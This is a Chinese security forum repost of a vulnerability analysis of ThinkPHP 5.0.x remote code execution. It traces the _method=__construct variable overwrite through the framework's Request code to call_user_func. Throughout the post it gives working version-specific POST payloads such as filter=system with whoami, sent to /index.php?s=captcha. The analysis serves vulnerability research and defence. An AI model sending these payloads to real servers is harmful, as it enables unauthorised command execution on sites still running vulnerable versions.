安全矩阵

 找回密码
 立即注册
搜索
查看: 2634|回复: 0

ThinkPHP远程代码执行分析

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-7-31 20:59:18 | 显示全部楼层 |阅读模式
ThinkPHP远程代码执行分析原创 猫的尾巴 雷神众测 昨天

STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


安恒西安运营中心
NO.1 总述
在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用
_method=__construct&method=get&filter=system&s=whoami

在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数
_method=__construct&method=get&filter=system&s=whoami

在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令
_method=__construct&method=get&filter=system&s=whoami

在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&s=whoami

在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
完整版ThinkPHP如下
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
开启debug如下
_method=construct&method=get&filter=system&route[]=whoami

在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用


NO.2 POC1
ThinkPHP<=5.0.23 需要开启debug
a=system&b=whoami&_method=filter
漏洞定位
通过debug发现是在第127行调用了$request->param()函数之后导致了rce,那跟进一下该函数,发现是在该函数里面调用了input函数,而input函数里存在一个filterValue函数,该函数里调用了call_user_func函数从而导致任意php代码执行。(后面发现是存在array_walk_recursive函数,通过隐式调用filterValue造成了RCE)(由于该处代码是开启了debug之后才会调用的代码,所以此处略鸡肋,需要开启debug)
漏洞分析
那么此时这里是调用了$request变量,这个变量是一个Request对象的实例,那么看一下这个实例是在哪里构建的,通过之前的路由流程分析可以知道在调用了routeCheck之后,$request变量里面便有了数据,跟进该函数,通过之前的路由流程分析可以得知,在routeCheck函数的第618行数获取路径信息,第619-640行都是在获取默认配置,到第642行这里调用了Route::check函数,根据之前的分析可知,在该check函数的第848行,调用了$request->method函数,在里面根据请求模式进行了赋值,这里debug断点看一下。

先贴代码
  1. public function method($method = false)
  2. {
  3.         if (true === $method) {
  4.             // 获取原始请求类型
  5.             return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
  6.         } elseif (!$this->method) {
  7.             if (isset($_POST[Config::get('var_method')])) {
  8.                 $this->method = strtoupper($_POST[Config::get('var_method')]);
  9.                 $this->{$this->method}($_POST);
  10.             } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
  11.                 $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
  12.             } else {
  13.                 $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
  14.             }
  15.         }
  16.         return $this->method;
  17.     }
  18. public function param($name = '', $default = null, $filter = '')
  19.     {
  20.         if (empty($this->param)) {
  21.             $method = $this->method(true);
  22.             // 自动获取请求变量
  23.             switch ($method) {
  24.                 case 'POST':
  25.                     $vars = $this->post(false);
  26.                     break;
  27.                 case 'PUT':
  28.                 case 'DELETE':
  29.                 case 'PATCH':
  30.                     $vars = $this->put(false);
  31.                     break;
  32.                 default:
  33.                     $vars = [];
  34.             }
  35.             // 当前请求参数和URL地址中的参数合并
  36.             $this->param = array_merge($this->get(false), $vars, $this->route(false));
  37.         }
  38.         if (true === $name) {
  39.             // 获取包含文件上传信息的数组
  40.             $file = $this->file();
  41.             $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
  42.             return $this->input($data, '', $default, $filter);
  43.         }
  44.         return $this->input($this->param, $name, $default, $filter);
  45.     }
复制代码

可以看到,此处是直接调用的所以为缺省变量,进入第二层,注意这里判断了是否存在POST传入的Config::get('var_method'),该值在ThinkPHP中的默认配置为_method,poc里传入了该参数,那么进入该分支,这里把$this->method(也就是$request->$method)变量赋值为传入的_method,然后调用$this->{$this->method}($_POST);这里是一个隐式调用,此时$this->$method的值为filter,就相当于调用了$this->filter($_POST)函数,那么该操作完成后$request的filter变量里存着post传入的数据,注意该参数均可控,那就导致了该行代码可以调用Request类的任意函数,此时$request->$method 为filter。

接着根据之前的路由流程可以得知,后面的操作主要是进行参数赋值。

直接进入到发生命令执行的param函数处,跟进该函数,可以看到该函数根据method类型来进行switch case,这里是post,进入post函数,该post函数也调用了input,但是因为传入的$name=false所以直接在input函数的第三行return了回去。

所以继续往下走,调用$this->input函数,此时传入四个参数,$this->param为post传入的数据,$name为空,$default为空,$filter也为空,进入该函数,该函数先把$name转为字符串,然后调用$this->getFilter函数,跟进该函数$filter被赋值为$this->$filter,然后将$filter转为数组,并给$filter[0]赋值为null,然后return。

接下来调用了array_walk_recursive,该函数是一个回调函数,只不过参数为数组,第一个。这里数组是传入的$data,此时data是一个数组,里面放的是POST传进来的数据,然后$filter是$data数组里加了一个0=null,然后第二个参数就是回调的函数,跟进此函数发现确实进入了filterValue函数,首先把数组中最后一个值弹出来,那么此时弹出来的就是刚刚赋值为null的,所以此时$default为null,然后对$filter进行一个循环,当函数可以调用的时候进入call_user_func函数,也就是命令执行的点,此时$filter为$filters的值,$value是data数组的值。然后通过call_user_func进行调用。那么根据传入的POST数据首先是system('system'),那么肯定执行失败,然后第二个$filter为whoami,此时会判断该函数是否可以被调用,那么显然不可以,然后就直接进入break终止了该次循环,然后调用data数组的第二个值为whoami,然后此时$filter为第一个值为system,那么此时call_user_func就顺利执行了,成功执行了system函数。

  1. public function input($data = [], $name = '', $default = null, $filter = '')
  2.     {
  3.         if (false === $name) {
  4.             // 获取原始数据
  5.             return $data;
  6.         }
  7.         $name = (string) $name;
  8.         if ('' != $name) {
  9.             // 解析name
  10.             if (strpos($name, '/')) {
  11.                 list($name, $type) = explode('/', $name);
  12.             } else {
  13.                 $type = 's';
  14.             }
  15.             // 按.拆分成多维数组进行判断
  16.             foreach (explode('.', $name) as $val) {
  17.                 if (isset($data[$val])) {
  18.                     $data = $data[$val];
  19.                 } else {
  20.                     // 无输入数据,返回默认值
  21.                     return $default;
  22.                 }
  23.             }
  24.             if (is_object($data)) {
  25.                 return $data;
  26.             }
  27.         }

  28.         // 解析过滤器
  29.         $filter = $this->getFilter($filter, $default);

  30.         if (is_array($data)) {
  31.             array_walk_recursive($data, [$this, 'filterValue'], $filter);
  32.             reset($data);
  33.         } else {
  34.             $this->filterValue($data, $name, $filter);
  35.         }

  36.         if (isset($type) && $data !== $default) {
  37.             // 强制类型转换
  38.             $this->typeCast($data, $type);
  39.         }
  40.         return $data;
  41.     }

  42. private function filterValue(&$value, $key, $filters)
  43. {
  44.         $default = array_pop($filters);
  45.         foreach ($filters as $filter) {
  46.             if (is_callable($filter)) {
  47.                 // 调用函数或者方法过滤
  48.                 $value = call_user_func($filter, $value);
  49.             } elseif (is_scalar($value)) {
  50.                 if (false !== strpos($filter, '/')) {
  51.                     // 正则过滤
  52.                     if (!preg_match($filter, $value)) {
  53.                         // 匹配不成功返回默认值
  54.                         $value = $default;
  55.                         break;
  56.                     }
  57.                 } elseif (!empty($filter)) {
  58.                     // filter函数不存在时, 则使用filter_var进行过滤
  59.                     // filter为非整形值时, 调用filter_id取得过滤id
  60.                     $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
  61.                     if (false === $value) {
  62.                         $value = $default;
  63.                         break;
  64.                     }
  65.                 }
  66.             }
  67.         }
  68.         return $this->filterExp($value);
  69.     }
复制代码
NO.3 POC2
1、ThinkPHP<5.0.13
_method=__construct&method=get&filter=system&s=whoami
漏洞定位
同样的_method=__construct这个变量表示了还是在走$this->{$this->method}($_POST)这条路
漏洞分析
跟进__construct函数,这里进行了一个循环,这里传入的是一个POST传入的四个键值对,这里执行了$this->(键) = 值,那么经过这个循环之后$request对象里的method的值为get,filter=system

那么此时$this->filter=system ,$this->method=GET,这里要重新把$this->method赋值是为了兼容之前的版本下图是5.0.20的版本,在5.0.8之前 是没有三元判断的,所以在这里如果不重新赋值就会去$rules数组里找$method的值,很显然传入的__construct是不在里面的,所以会导致报错。

这个时候继续跟进代码到exec函数里,switch进入到module分支

进入该函数,根据之前的路由分析可知都是判断,取值操作接着进入invokemethod,前面分析可以知道此处主要实例化了类,然后进行参数绑定最后在执行,进入bindparams函数,会自动获取变量,主要是调用Request类的param函数,这里首先实例化了一个request对象,然后调用了param函数。

跟进该函数,可以看到该函数根据method类型来进行switch case,这里是post,进入post函数,该post函数也调用了input,但是因为传入的$name=false所以直接在input函数的第三行return了回去。

所以继续往下走,调用$this->input函数,此时传入四个参数,$this->param为post传入的数据,$name为空,$default为空,$filter也为空,进入该函数,该函数先把$name转为字符串,然后调用$this->getFilter函数,跟进该函数$filter被赋值为$this->$filter,然后将$filter转为数组,并给$filter[0]赋值为null,然后return。

接下来调用了array_walk_recursive,该函数是一个回调函数,只不过参数为数组,第一个。这里数组是传入的$data,此时data是一个数组,里面放的是POST传进来的数据,然后$filter是$data数组里加了一个0=null,然后第二个参数就是回调的函数,跟进此函数发现确实进入了filterValue函数,首先把数组中最后一个值弹出来,那么此时弹出来的就是刚刚赋值为null的,所以此时$default为null,然后对$filter进行一个循环,当函数可以调用的时候进入call_user_func函数,也就是命令执行的点,此时$filter为$filters的值,$value是data数组的值。然后通过call_user_func进行调用。那么根据传入的POST数据首先是system('system'),那么肯定执行失败,然后第二个$filter为whoami,此时会判断该函数是否可以被调用,那么显然不可以,然后就直接进入break终止了该次循环,然后调用data数组的第二个值为whoami,然后此时$filter为第一个值为system,那么此时call_user_func就顺利执行了,成功执行了system函数。

2、ThinkPHP<=5.0.23 需要开启debug or 完整版的thinkphp
· ThinkPHP<5.0.21 开启debug
_method=__construct&method=get&filter=system&a=whoami
漏洞分析
因为在开启debug后会走debug那条路,所以就可以触发漏洞

· ThinkPHP<5.0.21 完整版ThinkPHP
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&a=whoami
漏洞分析
在5.0.13之后的版本里如果不开启debug的话,那么就会走到exec里面,同时进入self::module里面,该函数存在一行代码$request->filter($config['default_filter']),导致了在这一步之前变量覆盖掉的$request->filter变量会被赋值回去,所以在不开启debug的情况下如果走module就无法覆盖filter的值。

在这个switch里面是通过$dispatch来进行选择的,而这个值是在routecheck这个函数里调用了parseurl赋值给$dispatch的,而且是写死的,所以只要进了parseurl,肯定是没办法继续进行的


但是注意看在App.php里面的第642行$result = Route::check($request, $path, $depr, $config['url_domain_deploy']) 这行代码里如果$result返回不为false的话也就不会进入下面的判断里,跟进642行。

在之前的Thinkphp路由流程分析里可以知道check函数里会进行一系列的替换,然后检测是否存在静态路由,然后判断当$rules不为空的时候进入checkRoute函数,由于完整版的ThinkPHP会注册一个路由为captcha,所以此时$rules变量是有值的会进入该分支。

值如下

进入该函数之后,可以看到是对$rules变量进行了遍历,然后取键值对,校验等等,这里不进行深究,着重看到了第958行调用了checkRule函数,该函数对比了传入的url和路由,进行了校验后最终进入了parseRule,继续往下走最终在1500行。

给$result赋值然后一路return回来到run函数里,接着根据之前的分析进入exec里面,然后进入method分支,然后进入到param分支。最终进入到array_walk_recursive函数,传入的参数data就是传入的post数组,$filter就是被变量覆盖的system,所以此时就遍历了POST传入的参数,遍历到的时候就执行了命令。
· ThinkPHP<=5.0.23
_method=__construct&method=get&filter=system&server[REQUEST_METHOD]=whoami
漏洞分析1
在5.0.21以后method函数发生了改变,进入server函数看一下,当不存在server[REQUEST_METHOD]的时候直接返回GET

同时发现其中也调用了input函数

在param函数里首先会调用$method = $this->method(true);那么刚好满足进入server函数那么由此跟进server函数里,首先判断是否存在$this->server变量,那么因为通过变量覆盖把$this->server[REQUEST_METHOD]赋值为whoami,所以此时是存在变量的所以不会进入该判断,然后进入input函数,此时$this->server为whoami,$filter为覆盖后的system,$name为字符串REQUEST_METHOD,跟进input函数

在1014行,对$name进行分割,然后当存在$data[$val]的时候,也就是$this->server存在REQUEST_METHOD的时候把$this->server['REQUEST_METHOD']赋值给$data,所以此时$data是一个字符串,那么就会进入filterValue函数,然后在该函数中调用,其中$filter为变量覆盖后的值,值为system,$value的值为$data也就是whoami

漏洞分析2
此时由于前面5.0.21版本的改动导致了$method为GET也就无法进入switch case所以$vars为空。

如果要继续进入input函数,并且$this->param变量可控,就要在param最后一行代码处,控制$this->param,而$this->param是在652行,构造的所以可以通过变量覆盖来覆盖$param,$get,$route这三个变量

所以poc就可以改为
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&param[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
但是由于param在route函数里被重写了所以此处param不能复写

所以最终的poc就为
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:46 , Processed in 0.014993 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表